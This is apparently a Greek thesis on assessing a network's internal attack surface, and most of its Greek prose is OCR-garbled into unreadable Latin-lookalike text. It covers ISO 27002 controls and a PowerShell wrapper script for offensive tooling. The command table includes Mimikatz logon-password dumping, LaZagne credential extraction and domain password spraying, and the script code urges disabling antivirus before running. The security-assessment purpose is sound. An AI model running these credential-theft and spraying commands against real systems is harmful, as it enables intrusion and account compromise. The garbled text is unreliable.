Kal TTI0 OUYKEKPIPEVA BAETTOUNE O€ TTOIA group gival EAOG Kal TTOIA dIKAIWwATA

XPAOTN EXEL.

Eikéva 35 Seatbelt - Firefox Module

TokenGroups =—————
Current Token's Groups

main Users

Eikéva 36 Seatbelt - Token xpriotn kai privileges
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7 Kavoveg KOANG TTPAKTIKAG KAl EAEYXOI AO@AAEIQC
mTAnpo@opiag (ISO/IEC - 27002:2022)

H emBeTIKr €m@AveIa evOG OIKTUOU WTTOPEI VO PETPIOOTEI AKOAOUBWVTAG KAVOVEG
KAAAG TTPAKTIKAG yIa TNV a0@AAEIa TwV [TANPOPOPIOKWY 2ZUCTNPATWY CUUPWVA HUE TO
ISO/IEC 27002:2022 [28]. Me Tov 6po MAnpo@opiakd 2uoTtnua (M) evvoouue éva
oUVOAO XpNOTwV, AOYIOUIKOU, UAIKOU, OIadIKACIWY, EYKATACTACEWV Kal OEQOUEVWV.
OAa autd Ta oToixeia BpiokovTal o€ pia cuveXr aAANAeTTIOpaon HETAEU TOUG, AAAG Kal
ME TOo TTEPIBAAANOV OTO OTTOIO BpioKovTal, YE OKOTTO TNV TTApaywyr Kal Tn dlaxeipion
TTAnpo@opiag. Av OAa Ta OTOIXEIO TOU CUCTAMATOS AKOAOUBOUV £vav KoIVA aTTOOEKTO
0dnyo, UE KOIVOUG OTOXOUG, TOTE N ECWTEPIKN ETTIBETIKI ETTIPAVEIA TOU DIKTUOU €VOG
OPYQVIOPOU MEIWVETAI aloBNTA Kal 600 AuTOG O 0dNYOG EVNUEPWVETAl avVA TOKTA

OIOOTANATA KAl EQAPPOCETAI CWOTA, TOTE AUTH dlIATNPEITAI O XaUNAA €TTiITTEDQ.

O1 Kavoveg KOAANG TIPOKTIKAG yia Tnv ac@dAsia Ttwv X, opadoTtrolouvTal Kal

TTEPIYPAPOVTAI TTEPIYPAPMATIKA OTIG TTAPAKATW KATNYOPIEG :
7.1 TloAiImikr) AogpdAeiag MNMAnpogopiwv

AvdAoya pe TOV OpyavIONO Kal TIG ATTAITACEIS TOU, TTPETTEI VO OUVTOXOE N TTONITIKN

QOQAAEIAG TOU, VA EQAPUOCTEI Kal VO UTTOOTNPIXOEI aTTO TOUG UTTEUBUVOUG.

7.2 Opydavwon 1nc AcpaAeiag Tng MNAnpogopiag

AVTIKEINEVO TNG OUYKEKPIYEVNG Opyavwong e€ival n  avdamrtugn evog TTAdiciou
UAOTTOINONG TWV KAVOVWY OQPAAEIAG EVTOG TOU opyaviopou. Oa TTpéTrel va avaTebouv
POAOI Kal apuodIOTNTEG, XWPIG va UTTAPYXOUV avTIKpoudueva kabrikovta. ZTo idlo
TTAQio10 Ba TTPETTEI va OpIoTOUV TTONITIKEG TNAEPYADIAG KAI KIVATWY CUCKEUWV (£EUTTVa

TNAéQwva, laptops, tablets).
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7.3 Ao@daAeia AvBpwTTivou duvauikou

To avBpwTTiko duvauikd Ba TTPETTEl va avaoAdBel appodidTnTeG Kal pOAOUG KATOTTIV
MEAETNG KATAAANAGTNTAG, TTPIV TNV avaBeon epyaciag. O €Aeyxog autog Ba TTpETTEl va
ouvexietal KaBOAN TNV £PYOOCIAKN TTOPEIQ TOU ATOUOU KON Kal ETA TNV TTEPATWOT)
TNG. Na Tapddelyua, N ouveEXNG EKTTAIBEUCN KAl N EUaIoBNTOTTOINCON TOU AvBPWTTIVOU
OuvapikoUu TTAvw OTO KOUMATI NG aoc@dAciag Twv X, TpEmmel va atroTeAei
avaTTOOTTIOOTO KOUMATI KAl UTTOXPEWON Twv UTTEBUVWY ac@dAsiag. Me trapduoio
TPOTTO, KATA TO TTEPAG OouveEPyaoiag TTPETTElI va €ival {EKABAPES Kal DECUEUTIKESG Ol

UTTOXPEWOEIG ACQPAAEIOG TOU OTOPOU QTTEVAVTI OTOV OPYAVIOUO.
7.4 Aiaxeipion MNMAnpogoplakwyv Ayabwv

APXIKA TTPETTEI VA YivEl KOBOPIOPOS TWV ayaBuwyv TTou £XOUV agia yia Tov opyavioud Kal
va KaBopioTouv ol KATAAANAeG euBuveg TTpooTaciag Toug. MapdAAnAa Ba TTpéTTel N
oTTo10 TTANPOPOpPIa va dIaBabuIoTEl Kal va TTPOCTATEUTEI N ATTOKAAUWA TNG. Z€ auTo TO
KOMMATI evATTOKEITAI KAl N Aaoc@aAAng O1a0scn Twv HECWV TIOU TIEPIEXOUV TNV
TTANPOQOPIA, N OTToIa TTPETTEI VO EKTEAEOTEI HE KATAAANAEG DIABIKATIES VIO VA PEIWOEI

TO PIOKO ATTOKAAUWNAG TOU UTTO TTpOCTaCia ayabou.

7.5 'EAeyxoc NpbéoBaoncg

‘Eva atmo 1a onPavTikoTEpa KOPUATIa TnG ac@dAciag MZ, o éAeyxog Tpdoacng otnv
TTANPOQOpPIa, TTPETTEI VO KABIEPWVETAI, VA TEKUNPIWVETAI KAl va avaBswpeital ava
TOKTA XPOVIKA dlaoThpata i HETA atro KABe TTapalaTtikd cuupdav. H rpdéopaon otnv
TTANpo@opia TTPETTEl va  TTEPIOPICETAl, APXIKA, WE TOV TIEPIOPIOUS TNG QUOIKNG
TPOORAONG OTOUG XWPEOUG TToU auth QuAdooetal (7.7). Kartomyv, oe eTmiredo
XpnoTn/dlaxeipioTr), oc emiTedO OIKTUWV KOl UTTNPECIWYV, Kal TEAOG o€ ETTiTTEdO
EQAPUOYWYV Kal ouoTnuaTwy. EIdIkOTEPQ yia To TeAeuTaio €TTiTredo TTPETTEI va YiveTal
avaAoyn Olaxeipion wWOTE va aTTOTPETTETAI N M €gouaiodoTtnuévn TTpdofacn o€
ouoTAMOTO Kal OIadIKACIEG, OTTWG Kal O€ TTNydio KWwOIKA, Kal OTTWodNTIoTE va

akoAouBouvTtal ao@aAeig dladikaoieg ouvdeong (secure log-on procedures).
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MapdAAnAa, TIPETTEI va Yivel 0a@QEG OTOUG XPrOTEG OTI €ival UTTOAoyol yia TNV

TTPOOTACIA TWV CUVONUATIKWY QUBEVTIKOTTOINONG TTOU TOUG TTAPEXEI £VAG OPYAVIOHOG.

7.6 KpuTtrtoypaegia

MNa TNV d1Iac@AAIon TNG EUTTIOTEUTIKOTATAG, TNG OKEPAIOTNTAG KAl TNG AUBEVTIKOTNTAG
NG TAnpogopiag (confidentiality, integrity and authenticity - CIA), Texvikég
KPUTITOYpa®iag TIPETTEl VA eQapuolovTal JE  aAyopIBUoUG  avoAoyikoug Tng
TeEpioTaoNG. Ta KAEIDIA KpUTITOYPA®NONG TTPETTEI va €KBIdovVTAl, va XpNOIUOTToIoUVTAl,
VO TTPOOTATEUOVTAl KAl VA KATAOTPEQPOVTAlI CUP@WVA  HJE  TTPOCUP@WVNHEVA

TTPWTOKOAAQ Kai DIAdIKATIEG.

7.7 Quoiki ao@dAcia, kal aoPAAgia TTEPIBAANOVTOC XWPOU

O1 eyKOTAOTAOEIG OTIC OTI0IEGC QUAACOETAI N TTANPo@opia Kal Ta ayoBd &vog
OpYQVIOPOU TIPETTEI va TTPOOTATEUOVTAI ATTO N €goudloTnuévn TTpocBacn, aTtro
QUOIKEG KATOOTPOYEG Kol atmmo  TTOPEUPOAES.  AvaAoyikd, OTIC  UTTOAOITTEG
EYKATAOTAOEIG, TO YPAPEIQ KAl GTOUG AOITTOUG XWPOUG VOGS opyaviouou n TTpocacn
€1I0000U TTPETTEl VA OpICeTal Kal VO €AEYXETAl ATTO AVAAOYOUG UnNXaviououg. To
TTPOCWTTIKO TTPETTEI va €xel TTPOoRacn oUp@wva Pe TNV apxn ‘avaykn yvwong. O
€COTTANIOUOG TTPETTEI VA TTPOCTATEUTAI, VO UNV METAPEPETAI (] VO JETAPEPETAI UTTO OPOUG
— 11.X. laptops never unattented), va €TTIKQIPOTTOIEITAI KOI VO KATATPEPETAI UE ACPAANA

Oladikaaoia.

7.8 AogpdAcia Asitoupyiag

MNa TNV ac@aAéoTepn Kal opOR Asitoupyia Twv cucTnUATWY Ba TTPETTEI va UTTAPXOUV
Katayeypappéveg d1adikaoieg Kal oaeig 0dnyieg TTou apopouyv oTa £ENG:

e EykardoTaon kal pubuioeIic cUCTNPATWY

e Alodikaocia emTegepyaciag TTAnpoYopiag
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e Backup

e ATTaITAOEIS KOl AAANAEEQPTOEIC CUCTNUATWY

e Aladikaoieg eAéyyou

o XelpIopudg o@aAAPATWYV

o AIadIKOOIEG ETTAVEKKIVNONG KAl ETTAVAPOPAS CUCTAPATWYV

e AlaTApNoN apxEiwv Kataypa@ns cuctnuaTtwy (logging)

MapdAAnAa Ba TTpéTTel va TTapakoAouBouvTal ol dIaBECIUOI TTOPOI TWV CUCTANATWY, vVa
dlaxwpifovtal Ta TTAPAYWYIKA TTEPIBAAAOVTO aTTO QUTA TNG aAvATTTUENG KAl TWV
QOKIJWY, VA TTPOCTATEUOVTAI ATTO KAKOBOUAQ AOYICMIKA, VO EVANEPWVOVTAI TAKTIKA Ol
OIAXEIPIOTEG VI TUXOV TPWTOTNTEG KAl VA TTEPIOPICOUV TNV €YKATAOTAON AOYIOUIKWV

TEPA TWV ATTAPAITATWV.

7.9 Ao@daAsia ETTIKOIVWVIWV

MNa v opBni petagopd TNG TTANpo@opiag Ta diKTua PETaQopPds Ba TTPETTEI va va
EAEYXOVTAI JE OUYKEKPIPMEVOUG NXAVIOHOUS AOPAAEIOG KAl N METAPOPA QUTH VA YiVETAI

ME OUYKEKPIMEVES OIAdIKATIEG.
7.10 AvartrTugn kar ouvtipnon CuoTNUATWY

H TpoUtm60eon ac@AaAeiag TG TTANPOQOPIaG TTPETTEI VA Eival TIPOATTAITOUUEVO OTOIXEIO
KATA TNV avamTuén véwv cuoTPATWY f avaBaduion TTaAaiwy. TNV TTEPITITWON TTOU
Ol UTTNpEaiec a@opolv avoixTd OikTua TIPETTEl va UTTAPXEl TTPORAEwn evavTiov

OTTOIN0ONATIOTE  KAKOBOUANG  €VEPYEIAG  TTAPATIOINONG KOl ATTOKAAUWNG NG

TTANPOQOpPIaC.
7.11 Ac@aAcia TTANPO@opPIac e EEWTEPIKOUC CUVEPYATEC

2TNV TTEPITITWOTN TTOU £VAG OPYAVIOHOG £XEl EEWTEPIKOUG OUVEPYATEG, Ol OTTOIOI TTPETTEI
va éxouv Tpoofacn ota ayabd Tou, TOTE Ba TTPETTEl va TTPOCUMQPWVEITAI Kal va
TEKUNPIWVETAI N 0OQOAAG TTPOCBacn Kal n dlapuAagn TNG EUTTIOTEUTIKOTNTOG TWV
ayabwv Tou opyaviouoU.
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7.12 Alaxegipion TTapaaTiKwy CUPBAVTWY

H atmoteAeouaTik) TIPOCEYYION OTn  OlaxXEipion TTapaBaTtikwy  CUupBAavTwy, ME
KaBiepwpEveS DIOdIKOTIEG, £EAO@AAICOUV APECN KOl ATTOTEAEOUATIKI) OTTOKPION O€
TETOIOU €iDOUG TTEPIOTATIKA, EAAXIOTOTTOIWVTAG TOV XPOVO KATA TOV OTTOIO Ol UTTNPETIEG
TOU opyaviopoUu katéoTnoav Pn Aeiroupyikés. ‘Eva mmapaBartikd cupBav mrpétel va
ATTOTEAEI KAl ONUEiIo avaBewpnong OAWV TwWV Kavovwyv ac@AAEIag TTou DIETTOUV évav

OpYavIONO.

7.13 Emxeipioiakni ouvéxela kal Ao@aAeia INAnpogopiwv

O1 TTpoUTTOBETEIG VIO ETTIXEIPIOIAKI CUVEXEIQ TTPETTEI va KaBopidovTal TTpwToU £vag
OPYOVIOPOG Ppebei 0 dUOPEVA KATAOTACK, ME OUYKEKPIMEVEG KOTAYEYPOUMEVEG
O1adIKaOieS Kal EAEYXWV OUVEXEIOG OTTWG £TTIONG Kal avaBéaelig pOAwv Kal euBuvwy. Ol
O1adIkaoieg Kal oI €AeyXol auToi TTPETTEI va €xouv €eTTaAnBeuTei Kal agloAoynOei

OIEVEPYWVTAG DOKIUACTIKEG AOKNOEIG AEITOUPYIKOTNTAG KAl ATTOTEAECPATIKOTNTAG TOUG.

7.14 2UPPOPPWON PE VOUIKES KOl CUUBATIKES ATTAITACEIS

Na TNV atroQuyr VOUIKWY KAl KAVOVIOTIKWY TTApaBACEwWV ) TTapaBAcewy CUuBaTiKwyv
UTTOXPEWOEWYV TTOU OXETICOVTAI UE TRV AOPAAEIR TWV TTANPOPOPIWY, Ba TTPETTEI OAEG Ol
ATTAITACEIS va TTpoodiopifovTal pNTd, VO TEKUNPIWVOVTAI KAl va gvnUEPWVOVTAl YIA
KGBe TTANPOPOPIOKOG CUCTNUa Tou opyaviopou. O opyaviopog Ba Tpétrel va
OUPMUOPQWVETAI PE OTTOIA OIKQIWUATA  TIVEUMATIKAG 1810KTNOIag, Ba TTpETmel va
TTPOOTATEUEl TO APXEIQ TOU, KABWGS Kal TTANPOQYopieg TTou 0dnyouv € avayvwpion
TTPOOWTIWYV. TEAOG, Ba TTPETTEl va eTTBewpEi Kal va BeRalwveTtal oTI epapuolovtal ol

KAVOVEG yIa TNV aOQAAEIQ TTANPOPOPIWV.
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8 Evotroinon gpyaAciwyv avoixtou KwoIka O€ £va
script yia UTTOAOYIOUO EOWTEPIKAG ETTIOETIKAG
ETTIPAVEIAC DIKTUOU

Me okoTTO TNV opadoTroinon, QUTOPATOTIOINON KAl ATTAOTTOINON TNG OUVOAIKAG

d1adIKaTiag UTTOAOYIOHOU TNG ECWTEPIKNG ETTIBETIKAG ETTIPAVEIAG EVOG OIKTUOU,

EVOWMNOTWOOUE O€ éva script oxTw (8) epyaAcia avoixtou KwdIKaA, PUE T OTToIA

MTTOPOUNE Va €EAYOUUE OUYKEVTPWTIKEG AVAPOPES TTPOG TTEPAITEPW MEAETN.

AVOAUTIKOTEPQ, EVOWMNOTWOAUE TA €GAG:

© N o g s~ w D P

Nmap
Sharphound
PowerView
PowerUp
Seatbelt
Lazagne
Mimikatz

DomainPasswordSpray

To script apxika ekTeAei TOUG €EAC EAEYXOUG:

EAEyxel Ta dIKQIWPATA TOU XPHOTN UE TOV OTTOIO EKTEAECAUE TO TTPOYPANMA KAl
TIPOTEIVEL, yIa TNV TTANPECTEPN AEITOUPYia TOU, va ouvOEBOUNE PE BIKAIWPAT
OlaxeIpIOTH TOUEQ.

EA€yxel TNV KaTGoTOOT TOU AVTIIIKOU TTPOYPAUUATOG (TTPOTEIVETAI Va €ival
aTTevepyoTToInuéVo) [29].

Evrotilel Ta evepyd dikTua oTa otroia €xel Tpdofacn o Y/H atro tov oTroio

eKTEAOUE TO Script
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2TN OUVEXEID EYKOBIOTA Ta TTpoypduPaTa Kal Ta modules atro Ta oTroia atroTeAEITal
Kal agou OAOKANPwOEi auTr) n diadikaoia eTAVoUE oTo BACIKO PeVOU ETTIAOYNG,

OTTWG auTO aiveTal oTnV Eikéva 37 .

EX PowerShell 7 (x64) — O X

==== Basic Menu ==

Nmap .
SharpHound.
PowerView.
PowerUp.
SeatBelt.

N Y
R = Y S VY

co
[£4]

wordspray.

manually provide/change Domain information.

8 or D (Q to quit): o

Eikéva 37 Baoiko uevou Tou script

O1 duvatdTnTEG TOU Script, o1 EVIOAEG TTOU TpEXOUV ava module, Kail o1 ETTIAOYEG TTOU JOG
oivovTal yéoa ato auTod, armeikovifovral avaAuTikd oTtov lNivakag 3.
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NMPOrPAMMA ENTOAH

o
=
>
o

=
o
—
©

IS

n

PowerView

\nmap.exe —sV -T4 —A —v —oX —IP/Subnet

\SharpHound.exe --CollectionMethod All —
Domain <DomainName> --LDAPUser
<UserName> — LDAPPass <Password> --
JSONFolder <PathToFile>

\SharpHound.exe --CollectionMethod All —
Domain <DomainName> --loop
<LoopDurationTime> --LDAPUser <UserName> —
LDAPPass <Password> --JSONFolder
<PathToFile>

Get-NetDomain -Domain $ForDomain

DomainBasiclnfo.Forest.Name

Get-NetComputer -Domain $ForDomain | select
samaccountname, samaccounttype,

operatingsystem, logoncount
Get-NetGroup -Domain $ForDomain
Get-NetForestDomain | Get-NetDomainTrust

Get-DomainForeignUser -Domain $ForDomain

MNEPIrPA®H

To dikTUO CapWVETAI yIa avayvwpion OAwWV TwV CUVOEBEPUEVWY OUCKEUWYV, TWV EYKATECTNUEVWV
EQPAPUOYWYV KAl TOWTOTATWY TOUG, OTTWG KAI TWV AVTIOTOIXWV AEITOUPYIKWY CUCTNPATWY TOug. Ta

atroTeAéopaTa eEdywvtal oe xml apxeio.

2UAAEyovTal Oedopéva Tou eAeYKTH Topéa pe TN pEBodo “CollectionMethod All” (CuAAEyovTal OAEG Ol

TTANPoYopieg EkTOG atro TNV GPOLocalGroup) kai e§dyovTal g€ json apxeio.

EkTeAAei emavalapBavopeveg cUANOYEG OEOOUEWY TOU EAEYKTI) TOUED (ME XPOVIKO OPIO KAl ETTAVAANWEIG
TTOU opifouue aTTo To TTANKTPOAGYIO) XpnaoipoTroliwvTag Tn uEBodo “CollectionMethod All” (cuAAéyovTal

OAeg o1 TAnpo@opies k160G ato Tnv GPOLocalGroup). Ta atroteAégpaTa eEAyovTal G€ jSON apxeEio.

2UAAEYEI YEVIKEG TTANPOPOPIES VIO TOV EAEYKTH TOUEQ.

2UAAEYEI TTANPO®OPIEG VIO TOUG UTTOAOYIOTEG TTOU Eival PEAN TOU EAEYKTH) TOPEQ.

ATTapIOUEl TO YKPOUTT TOU EAEYKTH TOUEQ.

ATTOPIOUET TIG OXETEIG EUTTIOTOTUVNG TOU EAEYKTH TOUEQ.

ATTapIOuEi TOUG XPAOTEG PE avEBATUEVA DIKAIWUATA OTOV EAEYKTA TOUEQ.
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Get-DomainForeignGroupMember -Domain ATTapIOuEl T YKPOUTT PE aveRacuEva SIKAIWPOTA OTOV EAEYKTH TOUEQD.

$ForDomain

Find-LocalAdminAccess -Domain $ForDomain Waxvel yia H/Y Twv oTToiwv 01 XpAOTEG €XOUV BIKAIWPATA TOTTIKOU BIaXEIPIOT).
Invoke-UserHunter -CheckAccess Waxvel va Bpei o€ moioug HIY éxouv evepyry oUvOEDN 01 DIAXEIPIOTEG TOU EAEYKTH) TOUEQ.
Invoke-ACLScanner -ResolveGUIDs | select EvromiCel evOiagépovia ACLs (Access Control Lists)

IdentityReferenceName, ObjectDN,
ActiveDirectoryRights | fl

Find-DomainUserLocation - EvroTiCel evepy€g ouvedpieg DIAXEIPICTWYV TTOU ETTITPETTOUV QVOBEOTEIG, 0€ OIOKOMIOTEG TTOU ETTITPETTOUV
ComputerUnconstrained -UserAdminCount - avaBean xwpig TTepIopIoUOUG.
UserAllowDelegation

=
0
=
o
=
o
o

$computersid = get-domaincomputer | select -exp  EmoTpé@el 6Aa Ta ACLs (Access Control List) kal wayvel yia RBCD (Resource Based Constrained

objectsid Delegation)

$computeracls = Get-DomainComputer | select -

exp dnshostname | get-domainobjectacl

foreach ($acl in $computeracls){ foreach ($sid in
$computersid) { $acl | ?{$_.Securityldentifier -eq
$sid -and ($_.ActiveDirectoryRights -Like
*GenericAll*' -or $_.ActiveDirectoryRights -Like
*GenericWrite* -or $_.ActiveDirectoryRights -Like
*WriteOwner*)}}}
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Invoke-ShareFinder —-Domain $ForDomain Waxvel yia dlapuolpdaoeig oTo dikTuo

Invoke-FileFinder -Domain $ForDomain EmioTpépel diapoipacuéva apxeia Ta oTroia TeEPIEXOUV AEEEIG KAEIBIG OTOV TITAO TOUG.
Invoke-AllChecks -HTMLReport - EmoTpé@el avayvwpIoPEVEG TPWTOTNTEG EQAPUOYWYV TTOU €XEI EVTOTTIOEI Jadi e TTANPOPOPIES YIa
WorkingDirectory "$PowerUpOutputFolder Karaypnor) Toug. Ta amoteAéopara e¢dyovral o€ html apxeio.

\seatbelt.exe —group=all —full — To Seatbelt ekteAei OAOUG TOUG EAEYXOUG AT@AAEIOG GTOV TOTTIKO UTTOAOYICTH).

outputfile="outputfile.txt”

\seatbelt.exe —group=remote -full — To Seatbelt ekTeAei EAEyXOUG AOPAAEIOG GE ATTOUOKPUOHUEVO UTTOAOYIOTH TOU OTTOIOU TO OVOUQ OPIOTNKE
computername <computername> [- aTro 70 TTANKTPOAAGYI0. O1 £Agyxo0l €ival EAOPPWG TTIEPIOPIOUEVOI GE GXEDCN PE TNV TTPONYOUHEVN EVTOAT).

v username=DOMAIN\USER —

2 password=PASSWORD] —

§ outputfile="outputfile.txt”
\seatbelt.exe —group=remote -full — To Seatbelt ekTeAei EAEyXOUG ao@AAEIOg O€ OPAdA ATTONAKPUCHEVWY UTTOAOYIOTWYV TTOU £XOUNE OPIOEl OE
computername <PCNames> [- QPXEIO KEINEVOU.

username=DOMAIN\USER —
password=PASSWORD] —
outputfile="outpultfile.txt”

\Lazagne.exe —all —oN -vv -Credential $cred — To Lazagne e€dyel o€ apyeio KeIPEVou, KwAIKOUG ao@aAgiag Trou gival atroBnkeupévol ToTTiIkG oTtov H/Y.

output <outputfile.txt>
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OEOAQPIAOY MAPIA — AAMNMNAZ TEQPT10Z

\Lazagne.exe —all —oN -vv -Credential

$EnteredCredentials —output <outputfile.txt>

\mimikatz priviledge::debug

sekurlsa::logonpasswords crypto::cng

Invoke-DomainPasswordSpray —Password
<password> -OutFile <outfile.txt>
Invoke-DomainPasswordSpray —UserList
<userlist.txt> —Password <password> -OutFile

<ouffile.txt>

Invoke-DomainPasswordSpray —PasswordList
<passwordlist.txt> -OutFile <outfile.txt>
Invoke-DomainPasswordSpray —UserList
<userlist.txt> —PasswordList <passwordlist.txt> -
OutFile <outfile.txt>

To Lazagne €€ayel o€ apxeio kelpévou, KwdIKoUG ao@aAciag TTou gival armobnkeupévol Totrika atov H/Y yia
XPAOTN SI0QOPETIKO ATTO AUTOV TTou gival ouvdedepuévos. (Eiodyoupe Ta cuvBnuaTIKAG TOU ATTO TO

TTANKTPOAGYIO)

To mimikatz e&ayer dedopéva aubevtikotroinong amo Tn pvAun (LSASS) , 6TTwg kwdikoug xproTn,

eioImipla képRepou, maTotmoinTikd NTLM hashes KATr.

To mpdéypappa Ba TTPooTTaBACEl va auBevTIKOTTOINOEI OAOUG TOUG XPrOTEG TOU EAEYKTH TOUEQ PE Evav
KWOIKO TTOU TOU BWOAE.
To Tpoypappa Ba TTpooTTabriael va auBevTIKOTTOINOEI AiOTa PE XPrOTES (E10aYWYI OTTO APXEIO KEINEVOU)

TOU EAEYKTH) TOUED UE VAV KWOIKO TTOU TOU dWOAIE.

To Tpoypaupa Ba TTpooTTabioel va auBevTIKOTTOINOEI OAOUG TOUG XPHOTEG TOU EAEYKTH TOPEA PE AioTa
KWOIKWYV TToU €101XOBNCavV atmo apxeio KEIPYEVOU.
To Tpoypappa Ba TTpooTTabriael va auBevTIKOTTOINOEI AIOTA XPNOTWY TOU EAEYKTH TOPEA PE AiOTO KWOIKWV

TTOU €10AXON0oav atro apxeio KeIYEvou.

livakag 3 - EVTOAEG TTOU TTEPIEXOVTAI OTO SCript Kai £meéynan Toug
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NMAPAPTHMA A

Kwdikag PowerShell

TR T R R R T T
A Functions Section #HHfHHHHE
TR T R R R T T

function Close

{ Write-Host ™
Write-Host ™"
Write-Host "Press any key to close"
[void]($Host.Ul.RawUIl.ReadKey('NoEcho,IncludeKeyDown'))
Exit

<#
function Read-MessageBoxDialog([string]$Message, [string]$WindowTitle, [string]$Buttons, [string]$lcon, [string]$DefaultButton)
{
Add-Type -AssemblyName System.Windows.Forms
$MessageBoxButtons=[System.Windows.Forms.messageboxbuttons]::"$Buttons"
$MessageBoxlcon=[System.Windows.Forms.MessageBoxIcon]::"$lcon"
$MessageBoxDefaultButton=[System.Windows.Forms.MessageBoxDefaultButton]::"$DefaultButton"
$MessageBoxOptions=[System.Windows.Forms.MessageBoxOptions]::DefaultDesktopOnly
return [System.Windows.Forms.MessageBox]::Show($Message, $WindowTitle, $MessageBoxButtons, $MessageBoxIcon,
$MessageBoxDefaultButton)

}
#>

function Read-MessageBoxDialog([string]$Message, [string]$WindowTitle, [string]$Buttons, [string]$lcon, [string]$DefaultButton)
{

[void] [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.VisualBasic")
$PassDefaultButton="DefaultButton"+"$DefaultButton"
[Microsoft.VisualBasic.Interaction]::MsgBox($Message,"$Buttons,SystemModal,$Icon,$PassDefaultButton",$WindowTitle)

function CheckPrerequisites

{

Write-Host " Gathering Info - Checking Prerequisites

$PowerShellEngineVersion=$PSVersionTable.PSVersion
Write-Host "
PowerShell Engine Version: $PowerShellEngineVersion

if ([System.Environment]::Is64BitOperatingSystem)

{
$global:SystemArchitecture="64bit"
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Write-Host "This is a 64-bit architecture system
} else

{

$global:SystemArchitecture="32bit"

Write-Host "This is a 32-bit architecture system

}

$GetAntivirusStatus= Get-AVStatus
Write-Host "Antivirus Program(s) Status”
Get-AVStatus | Format-Table

$AVFlag=0
foreach ($line in $GetAntivirusStatus)
{
if ($line.ProductState -eq "On" -or $line.ProductState -eq "Expired") {$AVFlag++}
}
if ($AVFlag -eq "0")
{
Write-Host -fore green "Antivirus Software is not running. Not expecting difficulties..."
} else
{

Write-Host "Antivirus software is/are running on this PC (check table above)

Write-Host "
It is highly recommended to disable any antivirus software prior continuing,
since most of the programs/scripts/modules of this script are flagged as
viruses by this programs.

Write-Host -fore red "Recommended actions:

1) Check that no file (under $ProgramsFolder)
is quarantined/erased by antivirus protection program.

2) Quit this run and disable/uninstall any antivirus program.
3) Come back and try again.

Write-Host "Do you wish to continue with antivirus enabled?
(major problems during run of various tools are
expected if you continue)

Press
- 'Y to continue (not recommended)
- N to quit (Recomended: Try again after disabling AV)

$RunWithAVOnSelection = Read-Host -Prompt "Enter Selection (default:N)"
if ([string]::IsNullOrwWhiteSpace($RunWithAVOnSelection)) {$RunWithAVOnSelection = "N" }
while("Y","N" -notcontains $RunWithAVOnSelection)

{

Write-Host "This is not a valid option. Try again”

$RunWithAVOnSelection = Read-Host -Prompt "Enter Selection (default:N)"

if ([string]::IsNullOrwhiteSpace($RunWithAVOnSelection)) {$RunWithAVOnSelection = "N" }

}

Switch ($RunWithAVOnSelection)

{
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N {
Write-Host "
User selected to abort.
Read-MessageBoxDialog -Message "User selected to abort.
Press OK to exit" -WindowTitle "Exiting script" -Buttons OkOnly -Icon Information -DefaultButton 1
Exit
}

Y {Write-Host -fore red "User selected to continue (unfortunately!)"}

Write-Host "
A. Checking if NMAP is installed

$global:Check_Nmap_installation=(Check_Program_lInstalled -programName nmap)
if (-not $Check_Nmap_installation)

{
Write-Host -fore red "NMAP is NOT installed on this PC !!!

$RunWithoutNMAPSelection = Read-MessageBoxDialog -Message "Do you wish to continue without NMAP functionality?

Press
- 'Y to ignore and continue (NMAP will not be available)
- N to quit (Please install NMAP and try again.)" -WindowTitle "Error: NMAP is NOT installed!" -Buttons YesNo -Icon Critical -DefaultButton 2

Switch ($RunWithoutNMAPSelection)
{
N {
Write-Host "
User selected to abort.

Read-MessageBoxDialog -Message "User selected to abort.
Press OK to exit" -WindowTitle "Exiting script" -Buttons OkOnly -Icon Information -DefaultButton 1

Exit
}
Y {Write-Host -fore red "User selected to continue.
NMAP option will be greyed out!!!"}
}
} else

{Write-Host -fore green "NMAP is installed on this PC."}

Write-Host "
B. Checking if SharpHound.exe exists

$global:SharpHoundEXE = ($CurrentPath).Path + "\Programs\SharpHound\SharpHound.exe"
$global:Check_SharpHoundEXE= Test-Path $SharpHoundEXE
if (-not $Check_SharpHoundEXE)
{
Write-Host -fore red "Error: Could not find SharpHound.exe under
$SharpHoundEXE
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$RunWithoutSharpHoundSelection = Read-MessageBoxDialog -Message "Do you wish to continue without SharpHound functionality?

Press
- 'Y to ignore and continue (SharpHound will not be available)
- N to quit (Recomended: try again after copying SharpHound.exe
in .\Programs\SharpHound )
" -WindowTitle "Alert: SharpHound.exe not found!" -Buttons YesNo -Icon Critical -DefaultButton 2

Switch ($RunWithoutSharpHoundSelection)
{
N {
Write-Host "
User selected to abort.

Read-MessageBoxDialog -Message "User selected to abort.
Press OK to exit" -WindowTitle "Exiting script" -Buttons OkOnly -Icon Information -DefaultButton 1

Exit
}
Y {Write-Host -fore red "User selected to continue.
SharpHound option will be greyed out!!!"}
}
} else

{Write-Host -fore green "SharpHound.exe found."}

Write-Host "
C. Checking if PowerSploit module is loaded

# If module is imported say that and do nothing
$global:Check_PowerSploit_installation=Get-Module | Where-Object {$_.Name -eq "Powersploit"}
if ($Check_PowerSploit_installation)

{

write-host -fore Green "PowerSploit module is already imported.”

} else

{

# If module is not imported, but available on disk then import
if (Get-Module -ListAvailable | Where-Object {$_.Name -eq "Powersploit"})

{
Write-Host -fore red "PowerSploit module is NOT imported on this PC !!!

Although it is available on disk.

$RunWithoutPowerSploitSelection = Read-MessageBoxDialog -Message "PowerSploit module is NOT imported on this PC
but it is available on disk.

Do you wish to import PowerSploit?

Press

- 'Y to import module (recomended)

- N to continue without PowerSploit tool (PowerSploit

option will not be available.)" -WindowTitle "Error: PowerSploit module is NOT imported !" -Buttons YesNo -lcon Critical -DefaultButton 1

Switch ($RunWithoutPowerSploitSelection)
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{
No {

Write-Host -fore Red "
User selected to continue without PowerSploit.
Read-MessageBoxDialog -Message "PowerSploit module is not imported.
Options for PowerSploit will be unavailable." -WindowTitle "Error: PowerSploit module unavailable !" -Buttons Okonly -Icon Critical -DefaultButton 1
}
Yes {
Write-Host "User selected to import PowerSploit.

Import-Module Powersploit
$global:Check_PowerSploit_installation=Get-Module | Where-Object {$_.Name -eq "Powersploit"}
}

}else
{
$PowersploitDir = ($CurrentPath).Path + "\Programs\PowerSploit"
$Check_PowersploitDir = Test-Path $PowersploitDir
# If module is not imported, not available on disk, but available in running directory of script
if ($Check_PowersploitDir)
{
Write-Host "PowerSploit module is NOT imported on this PC
and it is not available in modules directory !!!
Although it is available under
$Check_PowersploitDir.

$RunWithoutPowerSploitSelection = Read-MessageBoxDialog -Message "PowerSploit module is NOT imported on this PC
and it is not available in modules directory !!!
Although it is available under
$Check_PowersploitDir.

